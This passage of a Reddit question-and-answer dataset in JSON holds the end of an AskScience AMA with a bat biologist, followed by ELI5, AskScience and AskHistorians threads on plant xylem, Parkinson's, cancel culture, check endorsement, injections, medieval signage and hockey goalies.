"d9a1qo8", "d9a1t3l", "d9a1uuy", "d9a1vvj", "d9a1zq2", "d9a21xq", "d9a26ek", "d9a27hs", "d9a2rll", "d9a2v34", "d9a2vik", "d9a3dwy", "d9a3gjg", "d9a3tw3", "d9a3yhz", "d9a406y", "d9a421o", "d9a45k3", "d9a4bfw", "d9a4d83", "d9a4f5b", "d9a4ff6", "d9a4jof", "d9a4lo4", "d9a4onu", "d9a67fe", "d9a6dvu", "d9a6gos", "d9a6jij", "d9a73xt", "d9a7ygz", "d9a8q9y", "d9a8wyn", "d9a9349", "d9a9v58", "d9a9v7z", "d9ac51o", "d9ach6m", "d9acjkt", "d9advr2", "d9adwjt", "d9aeto2", "d9afiwe", "d9afy96", "d9ag464", "d9ailsi", "d9anm02", "d9aribn", "d9at9mi", "d9ay2va", "d9azgcj"], "score": [45, 27, 78, 7, 28, 4, 73, 57, 6, 26, 13, 20, 12, 14, 3, 24, 7, 53, 36, 6, 42, 10, 3, 5, 5, 2, 4, 8, 155, 6, 6, 3, 19, 5, 3, 4, 3, 5, 6, 3, 5, 8, 3, 3, 3, 2, 2, 4, 2, 7, 4, 3, 5, 4, 3, 4, 3, 3, 8, 2, 3, 3, 2, 2, 2, 2, 2, 2, 2], "text": ["Hi there! I'm a huge fan of Monsters Inside Me, and have been for a long time. What's the strangest thing you've found out about disease while hosting the show?", "Hey Dan, You mentioned your work involved biomechanics, how transferrable are these findings to bio-inspired engineering? Do the way that bats fly help us build better aircraft or turbines? What more can we learn from these creatures?", "Hello and welcome to AskScience, Dr. Riskin. \n\nDo bats burp when hanging upside down?\n\nAnd all that guano on the cave floor, do bats crap that stuff into their own faces as it falls down?", "Hey Dan! Love watching daily planet! Just a simple question... what's the most intriguing bat for you and why?", "Did bats evolve along side birds or was it due to exposure to newly evolved reptiles gaining flight which ensured the leap?", "I think bats are adorable, are they friendly when they are in captivity? I like to imagine they would make awesome pets. ", "Hi! I've been hoping to attract bats to my yard to help with bug control (and because bats are cute). What do I need to know about habitat and getting them to notice a new bat house? I live in the American plain states, btw. Thanks!", "A few weeks ago, I was visiting the Broxbourne zoo in England. In the bat exhibit, I saw all but one bat huddling together. There had to be at least 50 or so. Anyway, I watched the lone bat try to join the others and each advance he made, the group would screech at him. He got close enough at one point for the other bats to physically push him away. This made my young son sad for the lonely bat. We wanted to know if this sort of shunning behavior is common in bats in the wild or just in captivity. Thanks a bunch.", "How did the idea that bats suck people's blood become a thing?", "Hey there Doc, what got you so interested in bats? Childhood trauma of falling down a dark empty well by chance? What spurred your passion!", "Hey Dan, more academic oriented question here. How did you choose your Advisor for PhD and how were you funded? Any tips for aspiring students looking to get into grad school?", "Hey Dan! Thanks for doing this AMA, huge fan of Monsters Inside Me. I'm a registered nurse that loves to see these rare cases. \n\nI am an avid hiker in the northeast US and ticks are the bane of my (and my dog's) existence.\n\n- Are tick borne illnesses on the rise and/or worsening in severity or do you think we're just getting better at identifying them? If the prevalence is truly increasing, why do you think that is? \n\n\n- What are some of the more common tick borne illnesses I should be aware of? What are the more severe/potentially fatal ones?\n\n\n- Besides checking for the little buggers, what steps can I take to protect myself and my pets that are most effective?\n\n\n- Also, at what point did you decide on your career path? Were you an animal lover as a kid? ", "Hello! I've heard that bats have a unique immune system among mammals, which explains their ability to withstand infections such as rabies. Is that true, and if so, in what way is a bat's immune system different from ours? ", "A perfectly relevant AMA for me! \n\nWhere I live (North Queensland, Australia), flying foxes are a pest, but as far as I know are protected so we can't do a lot about them. They take over in huge swarms and poop everywhere, the whole town stinks and I have some roosting in the palm trees in the garden. \n\nSo I have two questions;\n\n1. Should I be concerned about lissavirus with my kids playing in the yard where the bats are?\n\nAnd \n\n2. Is there anything you could suggest to make my hard less appealing to them? The smell is really sickening and the noise isn't a lot of fun either. \n\nThanks", "Hi, I've read that many bats exhibit signs of homosexual behaviour, is there any biological explanation for this?", "Hi Dan! I love bats and have worked with them in the past! Bats are amazing- the second biggest mammalian order and the only mammals with true flight! They've been my favorite animal for years! \n\n2 questions:\n\n1) What is your favorite bat species? (mine is Ecophyla alba or possibly Euderma maculatum!) \n\n2) In your opinion, what should bat researchers be focusing on in the future? What is still not understood about our cute little furry friends? ", "I grew up in Indiana. What kind of bats probably live underneath fake  window shutters on suburban houses there?  The kind that eat mosquitos? ( I once took down the fake shutters off my parents house to repaint them and there were like 30 bats living under them.", "Hey Dan, big fan. I'm glad you returned to do another AMA. \n\nMy question was about [that *Natalus*](_URL_0_) you mention on your website. You mention that they seem unwilling or unable to walk on the ground. What do you feel is the likelihood of bats becoming \"walkless\", how common do you think it could be, and which bats would you most like to place on treadmills?\n\nAlso I'd like to plug /r/batfacts and /r/batty for any redditors who would like to learn more about bats. ", "Hi Dan! My question is quite specific. I'm working on a Master's in Zoology. My thesis project is about survivability of white-nose syndrome on (what used to be) the western leading edge (MO, OK, KS, etc). I performed an acoustic survey this summer, and I'm looking at doing my physical (netting) survey next summer. Here's the question: what are your tips on ID'ing in the hand and learning key differences? I'm looking at ~14 different species and I'm so intimidated by the prospect of telling them apart in the field! Especially the little *Myotis spp*. Thanks!", "Dr. Riskin,\n\nWhat are the biggest challenges/threats that bats face and what can we do to help them?\n\n(your answer better include wind turbines!! ;) )\n\n", "***Re: Bats***\n\nI've heard a rumour that the turbulence created by the blades from wind-farms can cause bat lungs to collapse spontaneously.  Is this actually a thing? Or just a *really* ridiculous theory being pushed by the facebook pseudo-science drowd?\n\n^^^because ^^^it ^^^sounds ^^^completely ^^^made-up\n\n", "What's up with [Phyllostomids lacking the digital passive lock that lets other bats hang without effort?](_URL_0_) Are vampires giving their relatives a bad rap again?", "I have heard of bats hibernating in such low temperatures and lowering their body temperature to the point that ice envelopes them and in order to thaw said ice they must gradually warm their bodies. Could this process be applicable to cryogenic sleep and preservation of humans? Is any research being done regarding these bats and their ability to revive after such a hibernation? ", "How do you become a T.V. scientist? Did you have to pursue it or did you know someone already in broadcasting?", "Hi Dr. Riskin,\n\nThe finding of a gait in vampire bats is certainly fascinating. I did a bit of reading and saw that they [\"power their run with their forelimbs\"](_URL_0_). What does this imply evolutionarily about vampire bats in relation to other bats? Is this likely to be an environmental adaptation that occurred relatively recently or is there a chance that vampire bats are evolutionarily separated from most other types of bats? Thank you for your time!", "What is the scariest 'monster inside me'?", "Hi I am a children's media content creator, so I like to ask really abstract questions that help me strengthen the messages I send to kids. \n\n1. In relation to your line of work, what misconceptions do you see in adults that make you think, \"Jeez, I wish this misconception just didn't exist\"?\n2. Similarly, what message would you like kids to know?\n3. Between bats and parasites, etc., you work with a lot of scary things. What scares you the most, and how does that fear influence what you do?", "I live in New England area and bat populations have been decimated by white nose syndrome. Do you have an update on whether our bats will be returning?", "Did you realize that when you flip a picture of bats hanging upside down it looks like a dance-off from a musical? _URL_0_\n\nAlso, is there anything special about a bat's vascular system in terms of adaption to spending so much time upside down?", "What is a bat behavior that people would consider \"cute\". ", "What was/is the largest bat? We're there ever giant bats, condor size? Could a mammal/bat upscale to that size?", "Hi dan! Love daily planet. \nWas it hard to fill jay ingrams shoes?\nHow do you think you're doing ?", "Do people ever call you Batman?", "Hey Dan,\n\nHow do bats not have all their blood rush to their head when hanging upside down? Do they have some adaptations that allow them to deal with it or just prevent it from happening, or does it just not matter?", "Hi I'm a big fan of Monsters Inside Me! Just wanted to know how the Ebola virus which is supposedly from bat droppings came to be a virulent agent in other mammals such as humans and monkeys? What caused us to be susceptible to this?", "What's the best way to get a bat out of your house without injuring it? And how do I deter them from roosting in my storage spaces?", "This past spring (in Ontario), while I was cleaning out the air filters in my home, I found a mummified bat lodged in the filter, right next to the furnace.  No idea what the little guy was doing in there, or how he even got there.\n\nBut just...how?", "I don't have any specific questions but as a fellow Bat biologist I just want to say thanks for doing the AMA and helping educate people. Your work is fascinating and I hope to meet you at a conference some day! HAPPY BAT WEEK! ", "Hey! I'm definitely not an expert, but my dad works in speleology and cave rescue in central america. They usually go the extra mile with their organization to help raise awareness with both the natives and the tourists about rabies infections amongst the vampire bats that reside in the local caves. The natives are usually the ones more in danger - they're people with extremely poor living conditions and barely any education. I'm a teacher and I've travelled with my dad to help interact with their comunities, and I've seen how a bat's bite can ruin families. I was wondering, is it too far fetched to think of a way to also treat the bat population, not just the people injured and infected, as a way to tackle the root of the problem? In fear of sounding stupid, is there a vaccine for bat's rabies?", "I read somewhere that the the term acting \"batty\" means to be awkward in situations-deriving from bats being the only mammal who can fly, yet have not mastered the art of flying such as birds. Why are bats the only mammal that can fly and do you think that in the future bats will be more \"aerodynamic\" like birds over time?", "Once I awoke one morning to find a bat sleeping in my hall, hanging from the light-shade. I nearly jumped out of my skin when it jumped alive. After some struggle I was able to usher it outside... To my absolute horror, nearly every bird in the immediate area began to swoop upon it and try attacking it (seagulls, crows, even blackbirds). I was impressed by how acrobatic the bat was compared to the birds as it easily outmaneuvered them for a while but eventually it fell. Is this normal behavior for so many birds to attack a bat on sight? ", "What's the sexiest bat fact you know?", "Dr. Riskin,\nWhat are you and other fellow biologist doing to reduce the decline of the bat population in the Northeast US due to white-nose syndrome?", "Hi there! I'm actually very interested in this because bats are big deal where I live. I live in an area with lots of cave systems, and therefore lots of bats. Recently, as in the past few years, bats in one of our local caves that is a popular tourist spot, have become afflicted with White-Nose Syndrome. I understand the basics in that it causes pre-mature hibernation (or late hibernation, it's been a few years), and this is what causes the large numbers of deaths. What causes WNS specifically, how is it treated or combated, is this something bats can become immune to on their own, how contagious is it, and what does its prevalence mean for the future of the North American bar population or the global bat population in general? If this is a lot to answer, feel free to pick and choose whichever you would like to answer. Since it's a local issue, I'm very interested.", "Hi Dan! \n\nI met you at the University of Montana some years ago while I was getting my undergraduate degree in wildlife biology. I remember you being a really laid back and nice person, thank you for taking the time to chat with an undergrad! I'm very concerned about WNS and our populations of bats. Has there been any uplifting news about its spread or treatability lately? Thanks!", "Love Monsters Inside Me, thanks for doing this AMA!\n\nAre bats your favorite animal?", "Hi!! \n\n\nWhat advice would you give to a young scientist interested in the honorable work of science communication??", "Does the spread of white nose syndrome seem to be slowing down?", "How did you feel when you found out you would be filling in Jay Ingram's shoes?", "Dan, I once read that bats cannot gain flight while on the ground/floor, however I witnessed a little brown bat scurry under a door into a room and when I opened that door he was flying around in the room. Other than the \"bats have rabies\" myth, what misconceptions are there about bats?", "Do you have any tips for communicating science to a popular audience? How do you balance scientific complexity and context with effective communication and time constraints? ", "Two questions:\n\nIs NYC a good habitat for bats?\n\nWill the bat house at the Bronx Zoo ever re-open?", "What is your opinion on the way american documentary and science TV programming has become sensationalized, fast paced and overly dramatic?  When compared to British science documentaries for instance, American programming in my opinion leaves much to be desired. ", "Can bats damage my hearing?\nIt used to be exciting to see bats flying about until I read somewhere that their inaudible (to human) screeching can do damage if they swoop past your head. So now I cover my ears and tell everyone else to do the same, and feel kind of like a nincompoop because I sort of doubt that it is true but want to be safe. ", "I love bats, we have plenty of them where I live, on mobile bay. I'd like to get a prefab bat house, what is in your opinion the best off the rack bat house I can buy? ", "Most every year, in August, I get a bat intrusion into my living space.  A few years ago, I bought bat nets and started learning how to catch them with lower chance for damage.  Poor guys have white nose in my area, and I am loathe to disturb them considering how valuable they are to the ecosystem.  (I now help out my neighbors when they get one inside.)\n\nQuestion is... is there any downside to letting them live in my attic?  They don't appear to damage anything,  I don't have rabies!, and they seem benign except for the occasional bat poops...    they don't breed fast and i really, really want them eating my mosquitos.  OK to live and let live when it comes to my house?", "Dan, as a human species. Where would we be without bats? In terms of ecology. ", "Hello! This is more related to Monsters Inside Me but I thought I would give it a shot. I have had toxoplasmosis since birth and as a result, have scarring on my eyes which cause partial blindness (macular scarring). Do you see technology advancing to the point of being able to easily fix or even replace eyes?", "Hey ya Dan, fellow vic student here, been a long time... Anyway my question, what's one characteristic of bat society you wish humans would adapt?", "There has been a lot of talk lately about eradicating mosquitoes from earth as they are the number 1 killer of humans in the animal kingdom. This debate got hot in the summer because of olympics and Zika virus. The counter to eradicating mosquitoes is the effects that would have on bats. Does this argument hold water? What would happen to the bats if we got rid of the mosquitos?", "I've had a bat fly into my bedroom two years in a row, once in July, the other the next August.   Animal control companies have inspected my house and swear I don't have a colony.  I have had the house sealed by one of the companies, and added a chimney cap.  \nDo I just have bad bat luck?\nAlso, each time this happens, my anxiety goes into over drive waiting to hear back about whether or not the bat had rabies.  What are the chances a flying bat caught at night has rabies?  ", "Hi Dan, bit cheeky but two separate questions,\n\n1 - I am a reserve manager in the UK with a GHS(greater horseshoe) maternity roost and we have a live feed cam. When we see the bats huddling together every so often they shudder. Why? Does it perform a function such as thermoregulation within the group? or perhaps confirming contact with the rest of the group whilst sleeping?\n\n2 - With climate change, and possibility of milder winters, which 2015/16 was, we were observing much greater activity through Dec, Jan and Feb. Do you think the lack of a period of 'hibernation' or torpor with have a positive or negative on; a) individuals that have become used to that cycle? b) the roost over time and generations\n\nThanks in advance, Just a few thoughts I had been having recently?\nKeep up the good bat work, awesome creatures. Them, not you :) \nAll the best\nNoel", "Hello Dan! I'm currently doing research on Pd and WNS here in Colorado for my undergraduate thesis, and let me tell you it has been a blast working with Tadarida brasiliensis and a number of Myotis species this summer! My question is do you have any theories as to why WNS has leapt to Washington and skipped so many western states? Or do you think it was simply spread anthropogenically? Thanks!", "Thanks for doing this! I never realized how interested I could be in bats. They're pretty awesome.", "Can you just wing it? and tell us stuff?", "How did you train the bats to use the treadmill? Was there some method that you used?", "How does a bat become a biologist anyway? ", "So...   Are bats - bugs?   \nAsking for a friend, cuz of their homework that's due...", "Would white nose syndrome become less of a problem if we as humans just stopped going into caves as much? I wonder because a lot of caves are barred for people to prevent shoe/clothes transfer. But given the gravity and widespread incidence of problem even in less disturbed areas I can't help but think there is some other way the fungus(?) is spreading. "]}, "title_urls": [], "selftext_urls": ["https://itunes.apple.com/podcast/recent-paper-decent-puzzle/id1095842472", "https://www.facebook.com/MonstersInsideMe/", "https://twitter.com/riskindan/status/791659729047216128", "https://www.youtube.com/watch?v=ukIZRD1mzLg", "https://www.amazon.com/Mother-Nature-Trying-Kill-You/dp/1476707553/", "http://www.discovery.ca/extra/daily-planet", "https://www.youtube.com/watch?v=-xz-O5udQ4U"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.noctilio.com/bats/natalidae_natalus_tumidirostris/"], [], [], [], ["https://www.ncbi.nlm.nih.gov/pubmed/8515478"], [], [], ["http://www.news.cornell.edu/stories/2005/03/vampire-bats-keep-out-trouble-running-study-shows"], [], [], [], ["http://i.imgur.com/hJKSDCw.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5xom0t", "title": "how can xylem tubes in a plant transport water and ions from the roots all around the plant when they are made up of dead cells?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xom0t/eli5_how_can_xylem_tubes_in_a_plant_transport/", "answers": {"a_id": ["dejo9qd"], "score": [3], "text": ["The forces of adhesion and cohesion coupled with hydrogen bonding allow molecules of water to \"stick\" to each other and the surface of the cell wall within the xylem.\n\nThe process of water loss (transpiration) through the stomata on the underbelly of leaves creates a vacuum like environment which then sucks the water from the roots to the leaves.\n\nAs for ions, due to them being dissolved in the water they are carried along in the \"transpiration stream\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "63as92", "title": "are people with parkinson's disease always exhausted? i would think the constant twitching and shaking would expend a lot of energy.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63as92/eli5_are_people_with_parkinsons_disease_always/", "answers": {"a_id": ["dfsqzkd"], "score": [8], "text": ["Yes, but not for the reasons you state.  The meds to control the malady really mess with sleep and sleep cycles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "faog0g", "title": "what's cancelation culture?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/faog0g/eli5_whats_cancelation_culture/", "answers": {"a_id": ["fizf3fd", "fizf4mx", "fizgdte"], "score": [2, 2, 3], "text": ["In its most basic form lets presume you have a favorite singer. This singer happens to have done drugs or beat someone up unrelated to their career. The singer is now actively prevented from being booked again and his merchandise unable to be sold or removed from the store due to societal pressure.", "It means that when an entity does something that enough people don\u2019t like, those people demand that the entity be taken away or not supported by the general populace.", "when individuals on social media who have nothing else better to do find something irrelevant and offensive (even if it was just a joke) that a celebrity has said or done in the past (sometimes it's as old as 10 or more years ago when they may not have even been famous or old enough to know better in some cases) and use it to destroy and opportunities or positive attention the celebrity may be recieving right now to the point of hoping companies will sever ties, fans will turn against them and they will lose money and disappear from the media or end up in jail. Cancel culture is usually implemented by progressive (liberal) young adults who run social media platforms like Twitter. The majority of the world finds cancel culture creatures to be annoying because they are looking for any reason to bash someone else to push their own agenda and control the media for momentary gain just because they want to force everyone to follow their ideals of being uptight about someone's past. They tend to have characteristics of being insolent, rude and entitled. Cancel Culture Creatures precisely want to ruin the world.\n\nA recent example is the sexual assault accusation that Kobe Bryant went through years ago and the charges were dropped. After his unfortunate death, Cancel Culture Creatures were going after him (while he is decreased) and trying to say that he should rot in hell, ripping apart his legacy, etc. but they conveniently had nothing to say while he was alive, they only cared when he was getting positive praise, eulogies and sadness during his death."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "b8y8g4", "title": "why (in the us) do i need to sign the back of a check that is made out to me?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8y8g4/eli5_why_in_the_us_do_i_need_to_sign_the_back_of/", "answers": {"a_id": ["ek0tyia", "ek0vq0a"], "score": [6, 3], "text": ["I am not a banking expert, but I have deposited checks without signatures before, as long as the name on the check matches the name on the account. It may help that I know my bank staff and they know me, but I imagine it would work if the names match. Do you know your bankers?", "The signature is evidence that you claim to be the person to whom the check is made out.  That makes the piece of paper better evidence in court, if it's not a check you are supposed to be signing.\n\nLet's say you deposit a little old lady's social security check and get caught.  You might say \"Hey, I didn't even see that stuck to the back of my check, I don't know how it happened, I'm not a criminal\".  Without any signature, this might be convincing enough to raise doubt in the jury at your fraud trial.\n\nIf, on the other hand, your handwriting is used to write the little old lady's name on the back of the check, that's much better evidence that you intended to commit the fraud for which you are charged.\n\nIf there isn't a fraud, there isn't a need for \"stronger evidence\", but banks are generally \"err on the side of caution\" businesses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bz5q9l", "title": "Can medicine really be injected into the body as shown in the movies, just stab the syringe into a fleshy area and inject the medicine, instead of searching for a vein like how the regular doctors do it ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bz5q9l/can_medicine_really_be_injected_into_the_body_as/", "answers": {"a_id": ["eqr9a8x", "eqs3ljl", "eqs4ilc"], "score": [14, 5, 14], "text": ["Many medications are given intramuscularly, meaning they are injected directly into muscle tissue. Most vaccines are given this way. More care is taken than just stabbing the patient because the proper location and depth reduces pain at the injection site, but in principle it could just be a fast stick. This is what epipens do, you press them firmly against a fleshy part of your leg and they push the needle in for you.", "[Here's a comment](_URL_0_) I made on another post about the topic of intramuscular (into muscles) vs intradermal injections (into the skin). And why doctors use one more often than the other for injecting vaccines these days. It also applies in some ways to other medicines. It may be relevant to the sort of question you're asking here...", "You usually inject something into a vein when you want a very fast delivery of the substance all over the body or at least to a part of the body that is reached by blood. For example in a hospital setting for rapid relief of severe pain, morphine may be injected into a vein as it can then reach certain areas of the brain in a matter of seconds or minutes.\n\nIt also depends on how fast the particular substance can reach the desired areas if injected 'randomly' (usually in a large muscle).\n\nOther medicines may actually be deadly or at the very least harmful if injected into a vein instead of let's say into a muscle. For example some steroids have to be injected deep into a muscle so that they are released slowly into the bloodstream."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/askscience/comments/bty7e6/why_did_physicians_historically_administer/epcqbpp"], []]}
{"q_id": "c39gi9", "title": "Did posted signs exist in the medieval ages?", "selftext": "Did posted signs (ex. Speed limits, names of cities or towns, shop signs, street/road signs) exist in the medieval ages? If so, would commoners be able to read them?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c39gi9/did_posted_signs_exist_in_the_medieval_ages/", "answers": {"a_id": ["erq4cvl"], "score": [9], "text": ["I have an answer to an earlier question about [speed limit signs](_URL_0_) in the Middle Ages that also addresses shop and house/apartment building signs.\n\n~~\n\nThe idea of legal limitations on speed certainly existed in the European Middle Ages. The *Liber albus*, a set of common-law principles that were custom at the time of its composition in the early fifteenth century, [prescribes](_URL_2_)\n\n >  Item, that no carter within the liberties shall drive his cart more quickly when it is unloaded, than when it is loaded; for the avoiding of diverse perils and grievances, under pain of paying forty pence to the Chamber, and of having his body committed to prison at the will of the Mayor\n\nThis custom pays attention to carts, [in proper biblical tradition](_URL_1_), rather than to individual horses, but it's clear that fast-moving horses were indeed a danger. The coroners' rolls from medieval London tell of several cases where, for example, a child was dragged underneath a horse described as \"strong\" and trampled to death. In an early case of road rage, too, a man named Thomas atte Chirche was riding so recklessly that he smacked into a woman carrying an infant and knocked her to the ground. A bystander asked Thomas to be more careful--upon which Thomas drew his sword and killed him.\n\nHowever, regulation of speed would have been a matter of practicality, common sense, the tendency of people to either walk beside their horse (as a packhorse) or have valets traveling on foot with them, and (more successful than poor John de Harwe) communication. Later medieval cities were filled with signs, for sure. But, in the era before street number-style addresses (and, in point of fact, when streets had names but not signs designating them), signs were used to identify *houses*. \n\nIf you're read Eric Jager's excellent *Blood Royal* (aka CSI: Medieval France), you're familiar with his constant and unexplained use of House of the Angel, House of the Image of Our Lady, and so forth. That's because medieval signs were sometimes graphic: sometimes signs like we think of them, but other times more like sculpture inset into a building to identify it. Inns and taverns (and sometimes brothels) followed the same pattern: the Seven Stars, the Turk's Head, etc. By the very late Middle Ages, different crafts had signs to identify commercial establishments--not as an individual branding, like a modern store name, but to mark the *type* of craft: think of a barber pole or the green neon pharmacy cross.\n\nBut the rudiments of travel in a city, from knowing what road was what to discovering what customs you might owe to not mowing down children like Petronilla de Wyntonia, was a matter of communication before everything else--Ruth Evans calls it a \"culture of cooperation and good neighbourliness.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6sch7b/were_there_posted_speed_limits_on_horses_in/dlbst6r/", "http://biblehub.com/2_kings/9-20.htm", "https://archive.org/stream/liberalbuswhiteb00carpuoft#page/388/mode/2up/search/unloaded"]]}
{"q_id": "14cjnf", "title": "why don't hockey teams use extremely large men as goalies?", "selftext": "There are some very athletic huge men out there, think sumo wrestlers or linemen in American Football. So why don't teams use a gigantor to guard  the goal?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14cjnf/why_dont_hockey_teams_use_extremely_large_men_as/", "answers": {"a_id": ["c7bu94c", "c7bu9ih", "c7bub3l", "c7bul45", "c7bv6xd", "c7bvgh6", "c7bw1br", "c7bxdyp", "c7bxs9m", "c7bydwt", "c7bylig", "c7bynbc", "c7bznh1", "c7bzr2k", "c7c0136", "c7c25s5", "c7c2rjv", "c7c39zm", "c7c4aqm", "c7c5hkx", "c7c9a8d", "c7ca78y", "c7caj0d", "c9byqu0"], "score": [125, 1126, 136, 10, 2, 10, 3, 5, 58, 2, 3, 6, 4, 2, 2, 2, 11, 3, 2, 2, 3, 2, 2, 2], "text": ["They can't move fast enough to cover the rest of the net. Nets are huge. 6x4 feet. Pucks are very small. NHL players are good enough to snipe *very* small areas. ", "The rules limit how big a goalie's pads can be, so they don't show up with giant pads that block the goal.\n\nSo a fat guy might take up a lot of space, but much of his body will be unprotected from 150+ km/h slap shots.  He might block the first few, but he'll be leaving the ice on a stretcher before the game is over.", "There's a Sports Science video that addresses this *exact* question. [Here](_URL_0_) it is. ", "Because it wouldn't work.  Early on in hockey most of the shots were low, at the goalies feet, because that's where they hard the hardest time stopping the puck.  In the 70's goalies began experimenting with the Butterfly Style of goaltending.  In this style the goalie will often drop to his knees, and slide across the ice so that his leg pads cover nearly everything at ice level.  This in turn lead to shooters needing to lift the puck, and be more precise with their shots.  At this point most of the time the goalie can see the puck (he doesn't have his eyesight blocked by another player) and it isn't tipped in, or passed across the ice and rapidly shot, NHL goalies will stop the puck.  A very large person, regardless of their size, just isn't going to cover the entire net, especially down near their feet, and NHL shooters would trivially score on such a goalie.", "An agile big guy is still a big guy and its not very likely that a team could find a big guy agile enough that was also big enough to really \"cover up the goal\".  Also, goalies have other responsibilities that require them to leave the crease, gain possession and put the puck back in play.  For these reasons goalies have to be fairly fast as well, not in a \"skate from end to end in a short time\" but in a sense if having quick reactions and responding accurately.", "Atom and his package proposed just this, in the song [Goalie](_URL_0_).\n", "Size actually does help goaltenders in hockey but it's no substitution for athleticism.\n\nThe type of goaltender that most takes advantage of size is the blocking goaltender (as opposed to the butterfly or hybrid goalie) who attempts to use his body to cover as much of the net as possible and keep his movements to a minimum.  These goaltenders however do not put on a ton of weight as weight doesn't help you move quickly to block the puck.  Pads are generally sufficient for giving the goalie the bulk you'd hope to gain through having a ton of weight.\n\nBlocking goaltending has in last five years or so started go out of fashion in the NHL.  There are still goaltenders who practice that style, but most are using various hybrid styles.\n\nSmall (think short) goaltenders don't have as strong prospects to make it to the NHL.  Long arms and legs do help.  A big gut doesn't.", "A hockey net is bigger than you think. Six feet wide by four feet tall. Skilled hockey players can be very precise with their shots and find the holes left open by even a large person, who is likely slower than a smaller but athletic goalie.", "Because the NHL is in lockout.", "Someone's been watching the West Wing....", "[I've seen this before....](_URL_0_)", "For one, the goalies at the highest level are already pretty big on average-Around 6\"1 or 6\"2 on average and about 200 pounds. That's already way bigger than the average male. Finding people bigger than that who can skate as well as a goalie has to is usually incredibly hard. Being a goalie is not really the same as being a large man, it requires a great deal of skill and athleticism. Also, it's not just like goalies are easy to find. As a former hockey player, I know first hand that most people just don't want to play goalie.", "I have said many times that were I a hockey GM, I would hire the world's fattest man to be my goalie.  It'd be excellent.  He'd block all the shots, generate a lot of ticket sales from people intrigued by the idea, and you could pay him in cake.  ", "The goalies need to be fast.  NHL goalies have reaction times better than cats.  Fat people aren't the quickest.", "As a smaller hockey goalie I get this question far to often. \n\nJust think about a sumo wrestler moving left and right really quickly. Now going up and down at the same time. \n\nYou can't just pick a goalie based on physical features like you can just assume all 6 foot people can excellent at basketball. Look at Pekka Rinne, he is a giant goalie and then look at other goalies.\nIts all skill based but physical stature can just help you out. \n", "I'm not fat I just have a sweet hockey body. ", "The thing most people in this thread don't seem to realize is that goalies only take up most of the net **from the angle of the shot** because they move around so well. In other words if you're watching hockey from an outside perspective, you see a bunch of empty net, right? In fact, even if you're on the ice watching the play, you *still* see a lot of empty net. Even if you have the puck, you'll see a bunch of net around the goalie's shoulders and legs. But the truth is that if you got on your belly and looked at the view from the puck's perspective, there is almost no free space in the upper parts of the net (so a fat goalie does nothing) and the most space is actually in the lowest foot of the net (good luck finding a guy with 3 foot wide ankles). So the truth is that you're much better with a more agile goalie who is tall enough not to get shots over his shoulders when he's on his knees (but not so tall that the hole between his legs is huge) and agile enough to get into position for every shot. The prototypical goalie body is in the 6'-6'3\" range and wiry. Think Marc-Andr\u00e9 Fleury and Ryan Miller - tall guys, yes, but in the 180lbs range, and if you saw them with their shirts off you'd think they were scrawny little dudes. The pads add the bulk for almost no cost in weight. To add volume to the goalie by adding 40lbs of fat would absolutely destroy their foot quickness and ability to slide around side to side. Bigger, heavier goalies have to play more positionally because they aren't as quick (think JS Giguere in his prime), while smaller guys have the speed (and the need) to move around more for every save.\n\nEquipment isn't really the reason, I'm not sure why the top comment is about equipment. If a player physically needs equipment beyond the scope of the rules, it's evaluated on a case-by-case basis. Example: Zdeno Chara's stick is longer than the league maximum because he's 6'9\" and actually needs it that long just to be able to stand normally and play. If a goalie actually had 14\" wide shin bones I'm sure he'd get to use wider pads, but if he were that big he'd be useless because he would have absolutely no side-to-side mobility. Every shot would be in off the post 6 inches off the ice because he couldn't get there fast enough.", "[Here](_URL_0_) you go.", "Aside from pad size regulations, remember, hockey players have to wear skates.  I know that sumo wrestlers and NFL linemen are incredibly agile for their size but imagine balancing 300-400 lbs on skates for an hour a night.  That'll really take a toll on your joints.", "Next time you watch a hockey game, pay attention to everything the goalie does. I have been watching the short for about 7 years, after moving to Canada (its easy to do that here). The goalie fascinates me the most. The agility and reflexes required are outrageous. As a larger person, there is no way I can gi from my knees, to my feet, slide across the crese and butterfly back down to catch 150km/h also shots, then getting tumbled on by 4 guys. Its amazing...and that comment can very much be sexually misinterpreted. ", "No matter how fat you are, your legs will not be fat enough to cover a whole 6-ft wide net. Therefore, to cover the bottom of the net, the goalie will have to go down to his knees...and then get back up...over and over.\n\nThat's hard for a really fat person to do.", "Reddit, I'm really disappointed in the top comment.  That is not at all why extremely large men are not chosen as goalies.  There are leg pad regulations on width that ensure you can't have ridiculously large pads (although height is proportional to goaltender height).  The opening on the net has a much larger area than any person could cover just with their body and so the priority falls on being able to cover the net through fluid and quick movements. On top of all that, a good goalie needs to know the game, have intuition, and be mobile/flexible.  ", "I play underwater hockey. We had one goalkleeper who was close to obese. The thing is, underwater fat has a close to neutral buoyancy. So it didn't hold him back much. When he stopped and attack an got the puck he would pick up speed and bulldose right through the attackers.", "It's much more important to be quick on your feet than it is to be big. With correct positioning and agility, a small tendy can take up quite a bit of space. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=sP8ZVWiZUMA"], [], [], 